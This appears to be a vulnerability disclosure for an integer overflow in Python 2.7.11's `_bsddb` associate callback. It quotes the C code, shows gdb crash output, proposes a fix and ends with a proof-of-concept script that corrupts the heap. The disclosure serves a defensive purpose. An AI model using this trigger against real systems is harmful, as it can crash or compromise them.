""" In function `_db_associateCallback` of the `_bsddb` module, associating two databases with a callback that returns a sufficiently large list will lead to heap corruption due an integer overflow on 32-bit Python. From `_bsddb.c`: ``` else if (PyList_Check(result)) { char* data; Py_ssize_t size; int i, listlen; DBT* dbts; listlen = PyList_Size(result); 1. dbts = (DBT *)malloc(sizeof(DBT) * listlen); ///sizeof(DBT) == 28 on my system, enough to overflow 2. for (i=0; iassociate callback should be a list of strings."); #else "The list returned by DB->associate callback should be a list of bytes."); #endif PyErr_Print(); } PyBytes_AsStringAndSize( PyList_GetItem(result, i), 3. &data, &size); CLEAR_DBT(dbts[i]); 4. dbts[i].data = malloc(size); /* TODO, check this */ if (dbts[i].data) { 5. memcpy(dbts[i].data, data, size); dbts[i].size = size; dbts[i].ulen = dbts[i].size; dbts[i].flags = DB_DBT_APPMALLOC; /* DB will free */ } else { PyErr_SetString(PyExc_MemoryError, "malloc failed in _db_associateCallback (list)"); PyErr_Print(); } } CLEAR_DBT(*secKey); secKey->data = dbts; secKey->size = listlen; secKey->flags = DB_DBT_APPMALLOC | DB_DBT_MULTIPLE; retval = 0; } ``` 1. The multiplication in this line can overflow, allocating an undersized buffer. 2. This loop does not suffer from the overflow, so it can corrupt the heap by writing user data (see 3. and 5.). This bug is present in Python 2.7.11. See the result of running my attached POC script: ``` (gdb) r vuln.py Starting program: /vagrant/Python-2.7.11/python.exe vuln.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". python.exe: malloc.c:2372: sysmalloc: Assertion `(old_top == (((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof (struct malloc_chunk, fd)))) && old_size == 0) || ((unsigned long) (old_size) >= (unsigned long)((((__builtin_offsetof (struct malloc_chunk, fd_nextsize))+((2 *(sizeof(size_t))) - 1)) & ~((2 *(sizeof(size_t))) - 1))) && ((old_top)->size & 0x1) && ((unsigned long) old_end & pagemask) == 0)' failed. Program received signal SIGABRT, Aborted. 0xb7fdd428 in __kernel_vsyscall () (gdb) bt #0 0xb7fdd428 in __kernel_vsyscall () #1 0xb7de6607 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #2 0xb7de9a33 in __GI_abort () at abort.c:89 #3 0xb7e2a9dd in __malloc_assert ( assertion=assertion@entry=0xb7f1e3c0 "(old_top == (((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof (struct malloc_chunk, fd)))) && old_size == 0) || ((unsigned long) (old_size) >= (unsigned long)((((__builtin_offs"..., file=file@entry=0xb7f19954 "malloc.c", line=line@entry=2372, function=function@entry=0xb7f19ce5 <__func__.10915> "sysmalloc") at malloc.c:293 #4 0xb7e2d5eb in sysmalloc (av=0xb7f62420 , nb=16) at malloc.c:2369 #5 _int_malloc (av=av@entry=0xb7f62420 , bytes=bytes@entry=1) at malloc.c:3800 #6 0xb7e2e708 in __GI___libc_malloc (bytes=1) at malloc.c:2891 #7 0xb7b006b2 in _db_associateCallback (db=0x82a7dd0, priKey=0xbffff228, priData=0xbffff034, secKey=0x8291a80) at /vagrant/Python-2.7.11/Modules/_bsddb.c:1531 ... ``` We can see that the `malloc` call on the line marked (4.) fails due to corrupted heap structures. Also, running the script outside of GDB leads to a different message because of differences in heap layout: ``` vagrant@vagrant-ubuntu-trusty-32:/vagrant/Python-2.7.11$ ./python.exe vuln.py *** Error in `python': corrupted double-linked list: 0x099e9858 *** Aborted (core dumped) ``` This vulnerability can be fixed by checking for the overflow before the call to malloc. Also, because the PyBytes_Check check does not exit the function, the PyBytesAsStringAndSize call following is unsafe. I would recommend breaking or continuing if that check fails. """ from bsddb import db import os try: os.mkdir('/tmp/bsddbpwn') except OSError: pass env = db.DBEnv() env.open('/tmp/bsddbpwn', db.DB_CREATE | db.DB_INIT_MPOOL) def biglist(a, b): return ["0"]*0x924924b def exploit(): #make two DBs of different types db1 = db.DB(env) db1.open('exploit.db', "a.db", db.DB_HASH, db.DB_CREATE) db2 = db.DB(env) db2.open('exploit.db', "b.db", db.DB_BTREE, db.DB_CREATE) #associate the DBs, include dangerous callback db1.associate(db2, biglist) #trigger callback db1.put("0", "1") exploit()